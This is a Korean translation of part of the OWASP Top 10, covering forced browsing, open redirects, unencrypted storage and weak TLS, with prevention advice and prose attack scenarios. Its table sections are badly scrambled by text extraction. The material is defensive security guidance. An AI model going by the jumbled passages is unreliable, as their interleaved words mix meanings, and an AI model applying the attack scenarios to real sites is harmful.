환경적보안취약점부분

23 A7 URL 접속제한실패 네트워크에접 허가받은시스 어플리케이션은페이지요청 공격자는이런 노출될수있 속한 사람은 템 사용자인 을항상적절하게보호하지는 취약점들을이 는기능과, 이 누구나당신의 공격자는권한 않는다. URL은설정을통해서 용해허가받지 기능들이처리 어플리케이션 이있어야접 보호되는데, 시스템자체가 않은 기능에 하는데이터의 에요청을전 속할수있는 잘못설정된경우가있다. 개 접속할수있 비즈니스적가 송할수있 페이지 URL을 발자들은적절한코드체크를 다. 이런유형 치를 고려한 비공개페이지 변경한다. 공 포함시켜야하지만잊어버리 의공격은관 는익명의사 격자는이페 는경우가있 리적 기능을 용자가접속할 이지에접속할 주된 목표로 수있는가? 권 수있을까? 익 이런취약점들은탐지하기쉽 한 한이 있어야 명의사용자는 다. 공격하기위해존재하는 접속할수있 보호되지않은 페이지(URL) 를식별하는것이 는 페이지에 비공개페이지 가장어렵 일반사용자가 에접속할수 접속할수있 도있 는가? 나는 URL 접속제한에취약한가? 어플리케이션이 URL 접속을적절하게제한하는지여부를알아보는가장좋은방법은 모든페 이지를검증하는것이다. 페이지가공개되어야하는지, 비공개되어야하는지를페이지별로검 토한다. 만일비공개페이지라면: 1. 이페이지에접속하려면인증이필요한가? 2. 이페이지는인증된사용자라면누구나접속할수있는가? 만일그렇지않다면, 사용자가 해당페이지에접속하는권한을가졌는지여부를확인하기위한접속권한체크가수행되는 가?

24 페이지에접속인증과허가체크는외부메커니즘에의해서제공되는경우가많다. 외부메커니즘이모든페이지에대해서올바르게설정되어있는지를확인한다. 코드레벨의보호가사용되는경우라면, 요청되는모든페이지에대해서코드레벨보호가적용되는지를확인한다. 적절한보호가적용되는지여부는테스트를통해서도확인할수있 URL 접속제한실패는어떻게방지하는가? 허가받지않은 URL 접속을방지하려면각각의페이지에대해서인증과접속권한을올바르게 부여해야한다. 이런보호는어플리케이션코드외부에서 1가지이상의구성요소에의해제 공되는경우가많지만, 메커니즘여부에상관없이, 아래사항들을권한다: 1. 인증과접속권한정책은역할위주로수립해정책유지에드는노고를최소화한 2. 정책은설정가능하도록수립해 (High Configurable) 시간이흐르거나환경이변해서더이 상적용시킬수없게되는경우 (Hard Coded) 를최소화한다. 3. 기본적으로모든접속을거부하도록디폴트로정하고, 모든페이지접속에대해서특정사 용자와역할을명확히부여한 4. 페이지가 Workflow 에관련되는경우, 적절한접속이허용되는지여부를확인한다. 공격시나리오예제 공격자는공격대상 URL 을간단하게찾아낼수있다. 아래 URL들은인증이있어야접속할수 있어야하고, "admin_getappinfo" 페이지는관리자권한으로접속할수있어야한다. 만일공격자가인증되지도않았는데위의두페이지에접속할수있다면, 허가받지않은접속 이허용되는셈이다. 관리자가아닌인증된사용자가 admin_getappinfo 페이지에접속하는 것이허용된다면이것은취약점이다. 되는관리자페이지에접속할수있 공격자는이취약점을이용해보호가더욱약하게적용

25 이런취약점들은링크와버튼을접속권한이없는사용자들에게보여주지않는간단한방법을사용하지만, 어플리케이션이이런페이지들을보호하지못하는경우자주발생한다. 레퍼런스 OWASP OWASP Top URL 접속제한실패부분 ESAPI 액세스컨트롤 API OWASP 개발가이드: 접속권한부여부분 OWASP 테스트가이드: Path Traversal 테스트 강제접근 (Forced Browsing) 관련 OWASP 문서 액세스컨트롤에필요한요건들에관한보다상세한정보는 건들 (V4) 을참조한 ASVS 액세스컨트롤에필요한요 기타 CWE Entry 285: 부적절한액세스컨트롤 ( 접속권한부여) A8 검증되지않은 Redirect와 Forward 사용자를속여 공격자는사용 어플리케이션은사용자를다 사용자의신뢰 웹사이트로요 자로 하여금 른페이지로 Redirect 하거나, 이런 Redirect 를 유지하는 청을제출하게 검증되지않은 같은방법으로내부 Forward 는 맬웨어를 것이비즈니스 만드는사람. 리다이렉트링 를사용하는경우가많다. 검 인스톨하거나 에얼마나가 당신의사용자 크를클릭하도 증되지않은 Parameter에타 사용자를속여 치가있는지를 가 사용하는 록한다. 이 겟페이지가표시되는경우, 패스워드나기 고려한다. 맬

26 타중요한정 모든웹사이트 링크에는유효 공격자는 Destination 페이지 보를노출하는 웨어에장악된 는이공격에 한사이트주 를선별할수있 데사용될수 다면 어떻게 사용될수있 소가포함되어 있다. 안전하 될까? 공격자 있기 때문에 Redirect 가체크되는지여부 지 못한 가내부적으로 사용자는의심 는쉽게탐지할수있 Forward 를이 만가능한기 하지않고클 Redirect를찾아완전한 URL 용하면액세스 능에접속한다 릭하는경우가 을짜맞추면된 Forward 컨트롤을우회 면어떻게될 많다. 공격자 는내부페이지를타겟으로 할수있 까? 는 안전하지 하기때문에탐지하기가더 않은 Forward 힘들 를사용해보 안체크를우 회한 나는검증되지않은 Redirect와 Forward 에취약한가? 어플리케이션에검증되지않은 Redirect나 Forward가적용되는지여부를확인하는가장좋은 방법은다음과같다 : 1. Redirect나 Forward ( 닷넷에서는 transfer 라고불린다) 에사용되는모든코드를리뷰한다. 각각의사용에대해서타겟 URL에 Parameter 값이포함되어있는지여부를확인한다. 만 일포함되어있다면, Parameter가허용된 Destination이나 Destination의구성요소만포함 하고있는지여부를검증하는지를확인한 2. 사이트가 Redirect 를생성하는지 (HTTP 응답코드 , 대부분 302) 여부도확인한 다. Redirect하기이전에제공되는매개변수에타겟 URL 이포함되어있는지, 아니면타겟 URL 일부가포함되어있는지도확인한다. 포함되어있다면 URL 을변경하고, 사이트가변 경한 URL로 Redirect 되는지를확인한다. 3. 코드를볼수없다면, 모든 Parameter를체크해 Redirect나 Forward URL Destination의일 부로보이는것이있는지찾아보고, 테스트한다. 검증되지않은 Redirect와 Forward 는어떻게방지하는가?

27 Redirect와 Forward 를안전하게사용하는방법은많다. 1. Redirect와 Forward 를사용하지않는다. 2. Redirect와 Forward 를사용해야하는경우, Destination을알아낼수있는사용자 Parameter 를포함시키지않는다. 3. Destination Parameter 를포함시켜야하는경우, 사용자에게허가된유효한값을포함시킨 4. ESAPI를사용해 sendredirect() 메서드를 Override해모든 Redirect Destination을안전하 게보호한 이런 Destination Parameter는실제 URL이나부분적인 URL 대신에 Mapping Value를사용 해 Mapping을서버사이드코드가타겟 URL 에통역해주도록하는방법이권장된다. 사용자의신뢰를이용하는것은피셔들이선호하는방법이기때문에이런취약점들을방지하 는것은아주중요하 공격시나리오예제 시나리오 #1: redirect.jsp 라는페이지를사용하는어플리케이션이있다. 이페이지는 "url" 이 로표시되는 Parameter 를허용한다. 공격자는이취약점을이용해피싱을수행하고맬웨어를 인스톨하는악성사이트로사용자를 Redirect하는악성 URL 을제작한다. 시나리오 #2: Forward를사용해사이트의다른파트들사이의요청을전송하는어플리케이션 이있다. 이작업을쉽게하기위해서 Transaction이성공적으로수행된경우사용자를어디로 보낼지를 Parameter 를사용해표시하는페이지가있다. 공격자는이취약점을이용해어플리 케이션액세스컨트롤체크를통과한뒤에공격자가정상적으로는접속할수없는관리자기 능으로 Forward하는 URL 을제작한다

28 레퍼런스 OWASP Open Redirect 관련 OWASP 문서 ESAPI SecurityWrapperResponsesendRedirect() 메서드 기타 CWE Entry 601: 오픈 Redirect URL Redirector의남용에관한 WASC 문서 오픈 Redirect의위험에관한구글블로그글 A9 데이터를암호화하지않고저장 시스템사용자접속권한이없는보호된데이터파일에접속하려는시스템사용자나내부관리자들. 공격자는대부분암호화를크랙하는대신 에, 키를찾아 내고, 암호화되지않은사본을획득하거 나, 자동으로암호해독을하는채널을통해서데이터에접속한 이방면의가장흔한취약점 은암호화해야하는데이터를 암호화하지않는것이다. 암 호화가적용되더라도안전하 지않은키를생성/ 저장하거 나, 키로테이션을시행하지 않거나, 약한알고리즘을사 용하는경우가많다. 약하고 Salt되지않은 Hash를패스워 드보호에사용하는경우도 많다. 외부공격자들은접속 에한계가있기때문에외부 공격자는이방면의취약점을 탐지하는데어려움을겪는 데이터를암호 화하지 않고 저장하면암호 화되어야하는 모든데이터가 침입을당하는 경우가 자주 일어난다. 암 호화되어야하 는 정보는 식 별정보, 개인 정보 (PII), 시스템 설정 등이있 데이터를분실하는경우발생하는비즈니스적손실과, 당신의명성에미치는영향을 고려한다. 데 이터가노출되 는 경우 법적 으로 어떤 책 임을 져야 하 는지도고려한

29 나는암호화하지않은데이터저장에취약한가? 가장먼저해야할일은어떤데이터가암호화를할만큼중요한데이터인지를결정하는것이 다. 예를들어, 패스워드, 신용카드, 의료데이터, PII 는암호화되어야한다. 암호화되어야하는 모든데이터는반드시 1. 어디에저장되는장기간암호화된상태로저장되어야한다. 암호화되어야하는데이터의백 업인경우특히그렇 2. 복호화(Decrypt) 된데이터사본은허가받은사용자들만접속할수있도록한다. ( 예를들어, 액세스컨트롤은 A4와 A7 을참조) 3. 강력한표준암호화알고리즘을사용한 4. 강력한키생성, 허가받지않은접속으로부터보호, 키변경계획안을수립힌다. 피해야할문제점들관련한보다많은정보는 참조한 ASVS 에수록된암호화에필요한요건들(V7) 을 암호화하지않은데이터저장은어떻게방지하는가? 암호화를해야하는모든중요한데이터는최소한아래사항들을준수해야한다 : 1. 데이터를무엇으로부터보호할것인지 ( 예를들어, 내부공격, 외부사용자) 에관한계획을 세워, 이위협들에대해서데이터를보호하는방식으로데이터전체를암호화하도록한다. 2. 오프사이트백업을암호화하되, 키는따로관리하고백업한다. 3. 적절하고강력한표준알고리즘과강력한키를사용하고, 키관리를올바르게한다. 4. 패스워드는올바른 Salt를사용해강력한표준알고리즘으로 Hash 되도록한다

30 5. 모든키와패스워드를허가받지않은접속으로부터보호한 공격시나리오예제 시나리오 #1: 신용카드정보가최종사용자에게노출되는것을막기위해신용카드정보를데 이터베이스에저장하는어플리케이션이있다. 하지만이데이터베이스는신용카드 Column에 대해서는쿼리를자동으로복호화(Decrypt) 하도록설정되어있기때문에, SQL 인젝션취약점 을이용하면모든신용카드정보를암호화되지않은상태로볼수있다 ( 시스템은프론트엔 드웹어플리케이션이아닌백엔드어플리케이션만복호화하도록설정되었어야했다 ). 시나리오 #2: 백업테입에저장된의료정보는암호화되어있지만, 암호화키가같은백업에 포함되어있다. 이테입은백업센터에끝내도착하지않는다. 시나리오 #3: Unsalt된 Hash를사용해모든사람의패스워드를저장하는패스워드데이터베 이스가있다. 파일업로드취약점을이용하면공격자는패스워드파일을열어볼수있다. Unsalt된모든 Hash에대해서무작위대입공격을수행하는데드는시간은 4 주지만, Salt된해 쉬에대해서무작위대입공격을수행하려면 3000 년이상이걸린다. 레퍼런스 OWASP 이부문에필요한사항들과문제점들은 OWASP TOP : 데이터를암호화하지않고저장 부분 ESAPI EncryptorAPI OWASP 개발가이드: 암호화부분 OWASP 코드리뷰가이드: 암호화부분 ASVS 에수록된암호화에필요한요건들(V7) 을참조한 기타 CWE Entry 310 ( 암호화) CWE Entry 312 ( 중요한정보를암호화하지않고저장) CWE Entry 326 ( 약한암호화)

31 A10 전송계층에대한불충분한보호 당신의사용자 사용자네트워 어플리케이션들은 네트워크 이런취약점들 통신 채널을 네트워크트래 크트래픽감 트래픽을적절하게보호하지 은개인사용 통해 노출될 픽을 감시할 시는힘들수 않는경우가많다. 대부분어 자들의데이터 수있는데이 수있는사람. 있지만, 쉬울 플리케이션들은인증하는동 를노출해계 터의비즈니스 인터넷어플리 수도있다. 사 안에만 SSL/TLS 을사용하고, 정을도난당하 적가치를고 케이션이라면, 용자가취약한 다른때는사용하지않기때 는결과를초 려한 당신의사용자 사이트에접속 문에세션 ID 인터셉트는물 래할수있 들이 어떻게 하고있는동 론전송된모든데이터를노 관리자계정이 접속하는지누 안에 적절한 출할수있다. 어플리케이션 침입당하는경 가알겠는가? 네트워크트래 은만료되었거나부적절하게 우사이트전 픽을감시하는 설정된인증을사용하는경우 체가 노출될 것이주로힘 도있 수있다. 불충 들 분한 SSL 설정 이런취약점들은탐지하기가 은피싱을쉽 쉽다. 사이트의네트워크트 게만들어줄 래픽을관찰하면된 수도있 나는전송계층에대한불충분한보호에취약한가? 어플리케이션이전송계층에대해서불충분한보호를제공하는지여부를알아보는가장좋은 방법은아래사항들을확인하는것이다 : 1. SSL 은비공개페이지의모든자원과서비스에사용되고있다. SSL은교환되는모든데이 터와인증이필요한식별정보를보호해준다. 한페이지에 SSL을혼합해사용하는것은피 하도록한다. 브라우저에사용자경고를유발하고, 사용자의세션 ID를노출할수있기때 문이

32 2. 강력한알고리즘만지원되도록한 3. 모든세션쿠키에 'Secure' Flag를적용시켜브라우저가세션쿠키를암호화하지않고전송 하는일이없도록한 4. 서버인증서는합법적이고, 서버에대해서올바르게설정되고, 인가받은기관에의해서발 행되고, 만료되지않고, 무효화되지않고, 사이트가사용하는모든도메인들과일치하도록 한 어떻게방지하는가? 올바른전송계층보호제공은사이트설계에영향을미칠수있다. 가장쉬운방법은선택된 모든페이지에 SSL 을요청하는것이다. 퍼포먼스를이유로 SSL을비공개페이지에만사용하 는사이트들이있다. SSL 을 ' 중요한' 페이지에만사용하는사이트들도있지만, 세션 ID와다른 중요한데이터를노출할수있 1. 선택된모든페이지에 SSL 을요청한다. 이페이지들에대한 Non-SSL 요청은 SSL 페이지 로 Redirect 되도록한다. 2. 모든세션쿠키에 'Secure' Flag 를설정한다. 3. SSL/TLS 제공업체가강력한 (FIPS compliant) 알고리즘만지원하도록설정한다. 4. 인증서는유효하고, 만료되지않고, 무효화되지않고, 사이트가사용하는모든도메인들과 매치되도록한 5. 백엔드와다른접속역시 SSL/TLS 를사용하거나다른암호화기술을사용해야한다. 공격시나리오예제 시나리오 #1: 인증을필요로하는모든페이지에 SSL 을사용하지않는사이트가있다. 공격자 는네트워크트래픽 ( 오픈무선혹은이웃케이블모뎀네트워크등) 을감시하고인증된사용 자의세션쿠키를관찰한다. 공격자는그런다음이쿠키를재사용(replay) 해사용자의세션을 장악한

33 시나리오 #2: SSL 인증서가부적절하게설정된사이트가있어사이트사용자들에게브라우저경고를유발한다. 사용자는이사이트를계속사용하려면이런경고를허용해야하고계속해야한다. 사이트고객들에대한피싱공격은고객들을유효한인증서가없는유사해보이는사이트로유인해같은경고를생성한다. 사용자들은이런경고에익숙하기때문에계속하고피싱사이트를사용해패스워드나기타개인데이터를알려준 레퍼런스 OWASP 이부문에필요한요건들과문제점들의전체는 ASVS requirements on Communications Security (V10) 을참조한 OWASP 전송계층보호 Cheat Sheet OWASP TOP 안전하지않은통신 OWASP 개발가이드: 암호화 OWASP 테스트가이드: SSL/TLS 테스트 기타 CWE Entry 319 중요한정보를암호화하지않고전송 SSL Labs 서버테스트 FIPS 암호화표준정의 +D 많은무료공개 OWASP 자원들 웹어플리케이션에처음입문한사람에게나, 이위험들에이미익숙한사람에게나, 어플리케이 션을픽스하는것은힘든작업일수있다. 대규모어플리케이션을관리해야하는경우더욱 그렇다. OWASP는조직과개발자들이어플리케이션보안을효과적인비용으로줄이는것을 돕기위해어플리케이션보안상태를알아볼수있는많은무료공개자원을제공한 아래는조직들이안전한웹어플리케이션을만드는것을돕기위해 OWASP가제공하는많은 자원들중일부다. 조직들이웹보안을확인하는데도움이되는추가적인 OWASP 자원은다 음페이지에있

34 어플리케이션 보안요건 안전한웹어플리케이션을제작하려면안전하다는것이당신에게무엇을의미하는지부터먼저정의해야한 OWASP 어플리케이션보안식별표준 (ASVS) 을어플리케이션보안요건가이드로활용할것을권한다. 아웃소싱을하고있다면 OWASP 안전한소프트웨어계약부가조건을활용한 어플리케이션 보안 아키텍처 기존의어플리케이션에보안을추가하는것보다는, 개발단계에보안을설계하는것이비용면에서훨씬효율적이다. OWASP는보안을처음부터설계하는방법에관한출발점으로 OWASP 개발자가이드를추천한 표준보안 컨트롤 강력하고편리한보안컨트롤을구축하기란아주힘든일이다. 표준 보안컨트롤을개발자들에게제공하면안전한어플리케이션개발문 제가아주간단하게해결된다. OWASP는 OWASP 엔터프라이스보안 API (ESAPI) 프로젝트를안전한웹어플리케이션을만드는데필요한 보안 API 모델로활용할것을권한다. ESAPI는자바, 닷넷, PHP, Classic ASP, 파이선, Cold Fusion, Haskell 구현레퍼런스를제공한 안전한개발 생명주기 이런어플리케이션들을구축할때당신의조직에서사용되는절차를 개선하기위해 OWASP는 OWASP SAMM (Software Assurance Maturity Model) 을추천한다. SAMM은조직이직면하고있는특정 위험별로소프트웨어보안전략을체계화하고구현하는데도움이된 어플리케이션 보안교육 OWASP 교육프로젝트는개발자를대상으로하는웹어플리케이션 보안교육에도움이되는교육자료를제공하고, OWASP 교육프레 젠테이션의방대한리스트를제공한다. 취약점에관해서직접배우고 싶다면 OWASP WebGoat를사용한다. 싶다면 최신보안정보로무장하고 OWASP AppSec 컨퍼런스, OWASP 컨퍼런스트레이닝, 혹

35 은현지 OWASP Chapter 회의에참여한 여러분이사용할수있는 OWASP 자원은이밖에도많다. OWASP의모든프로젝트를 Release Quality, 베타, 알파로분류해놓은 OWASP 프로젝트페이지를참조한다. OWASP 자원들은대 부분 OWISP 위키에소개되어있다. 많은 OWASP 문서들은하드카피로주문이가능하 +V 검증을위해서해야할것들 정리하기 OWASP 는어플리케이션코드리뷰 ( 만일코드를볼수있다면) 와어플리케이션테스트를통해스스로개발했거나구매를고려하고있는웹어플리케이션의보안을검증할것을권한 보안코드리뷰와어플리케이션침투테스트도가능한병행할것을권한다. 2가지기술이서로를보완해주는효과를주기때문이다. 검증보조툴을사용하면전문분석효과를개선할수있다. OWASP의평가툴들은분석과정자체를자동화하는것보다는전문가가더욱효과적으로작업을수행하도록돕는데주력했 웹어플리케이션보안검증방법표준화하기: OWASP는조직이웹어플리케이션보안평가를 지속적으로수행하고, 보안평가의엄격성수준을정의하는데도움이되는어플리케이션보안 검증표준 (ASVS) 을개발했다. 이문서는웹어플리케이션보안평가수행에필요한최소한의 검증표준을정의하고있다. AVIS를웹어플리케이션보안검증을수행할때무엇을찾아내야 할지에관한가이드만이아니라, 어떤기술을사용하는것이가장적절한지, 평가의엄격성수 준을정의/ 선택하는데도움이되는가이드로활용할것을권한다. ASVS는써드파티제공업체 로부터제공받은웹어플리케이션평가서비스를정의/ 선택하는데도활용할수있다. 평가툴수이트 : OWASP 라이브시디프로젝트는부팅가능한환경에모아놓은최고의오픈 소스보안툴들의모음이다. 웹개발자, 테스터, 보안전문가들은이라이브시디를부팅해서 보안테스트수이트에즉각접속할수있다. 인스톨이나설정이필요없다!! 코드리뷰

36 코드리뷰하기: OWASP는 OWASP 개발자와어플리케이션보안전문가들이코드리뷰를통해 서웹어플리케이션보안을효과적으로검토하는방법을이해하는데도움이되는코드리뷰 가이드를개발했다. 코드리뷰가이드는 OWASP 개발자가이드와 OWASP 테스트가이드의 지침서로, 외부테스트보다는코드리뷰를통해훨씬쉽게발견할수있는인젝션취약점을 비롯해많은웹어플리케이션보안이슈들을제공한 코드리뷰툴: OWASP는전문가들이코드분석을수행하는것을보조하기위해많은노력을기울여왔지만이툴들은아직초기상태다. 이툴들을제작한제작자들은보안코드리뷰를수행할때이툴들을항상사용하지만, 비전문가들은이툴을사용하는데있어다소어려움을느낄수있다. 이툴들은 CodeCrawler, Orizon, O2를포함한 보안과침투테스트 어플리케이션테스트하기 : OWASP 는개발자, 테스터, 어플리케이션보안전문가들이웹어플 리케이션보안을효과적으로수행하는방법을이해하는데도움을주기위해테스트가이드를 개발했다. 십수명이제작한이방대한가이드는웹어플리케이션보안테스트관련많은주제 를광범위하게다루고있다. 코드리뷰에자체적인강도가있듯이, 보안테스트도마찬가지다. 보안테스트는익스플로잇을시연해어플리케이션이안전하지못하다는것을증명할때아주 중요하다. 테스트가이드는보안자체를제공하지않기때문에코드리뷰만으로는찾아낼수 없는어플리케이션인프라관련된보안이슈를포함한많은보안이슈들을제공한 어플리케이션침투테스트툴: OWASP의모든프로젝트전반에가장널리두루사용되는 WebScarab은웹어플리케이션테스트프록시다. WebScarab을이용하면보안분석가는웹 어플리케이션요청을인터셉트해어플리케이션이어떻게작동하는지를알아낸뒤, 어플리케이 션이이요청들에대해서안전하게반응하는지를알아보는테스트요청을제출할수있다. 이 툴은 XSS 취약점, 인증취약점, 액세스컨트롤취약점분석에특히효과적이다. +R 위험에관한주의사항

37 취약점이아닌, 위험에관한것이다 OWASP TOP 10 이전버전들은가장많이발생하고있는 " 취약점들" 을식별하는데주력했지 만, 실제로는항상위험들을주로정리해왔다. 완벽한취약점분류를원하는사람들은이로인 해혼동을겪었다. TOP 10 이번업데이트는위험에초점을맞춰위협원 (Threat Agent), 공격 경로, 취약점, 기술적영향, 비즈니스적영향을합산해위험을산출하는방법을사용한다. 그렇게하기위해서우리는 OWASP 위험평가방법을기반으로 TOP 10의위험평가방법을 개발했다. 각각의 TOP 10 항목에대해서우리는가장많이발생하고있는취약점들에대해서 가능성있는요인들 (Likelihood Factors) 과, 영향을추정하는요인들을분석해, 각각의취약점 들이대표적인웹어플리케이션들에도입하는대표적인위험을측정했 OWASP 위험평가방법은식별된취약점의위험도를산출하는데도움이되는많은요인들을 정의하고있다. 하지만이 TOP 10은실제어플리케이션의특정한취약점이라기보다는일반적 인취약점을반영해야한다. 시스템위험도를계산하는데있어우리는절대로시스템소유자 만큼정확하게계산할수가없다. 여러분의어플리케이션과데이터가얼마나중요한지, 여러분 시스템의위험원이무엇인지, 가알지못한 여러분시스템이어떻게구축되었고어떻게운영되는지는우리 Top 10 리스트는각각의취약점들에대해서가능성있는요인 (Likelihood Factor) 3 가지 ( 전 파된정도, 탐지용이도, 익스플로잇용이도) 와영향요인 1 가지 ( 기술적영향) 를사용한다. 취약점이전파된정도 는여러분이직접계산할필요가없는요인이다. 취약점이전파된정도 를계산하기위해우리는많은다른조직들로부터취약점전파현황정보를제공받아이데이 터를평균을내서전파된정도에의거해 TOP 10 항목에포함될후보항목을선별한다. 그런 다음에다른 2 가지의가능성있는요인들 ( 탐지율과익스플로잇용이도) 과합쳐서각각의취약 점들에대한점수를계산한다. 그런뒤각각의항목에대한기술적영향평균과곱해서 TOP 10 의전반적인위험순위를산출한다. 이평가방식에위험원 (Threat Agent) 이포함되지않았다는점에주목하자. 여러분이사용하 는특정한어플리케이션과관련된각종기술적세부사항도포함시키지않았다. 이요인들은 모두공격자가특정취약점을발견하고익스플로잇할전반적인가능성에크게영향을미칠수 있다. 우리의평가방식은여러분의비즈니스에실제적으로미치는영향을계산하지않는다. 여러분이사용하는어플리케이션에서얼마만큼의보안위험을허용할것인지는여러분스스로 가결정해야할것이다. OWASP TOP 10은여러분을대신해서위험을분석하지않는 아래는 A2: 크로스사이트스크립팅항목에서위험을산출하는방식을보여준다:

38 .,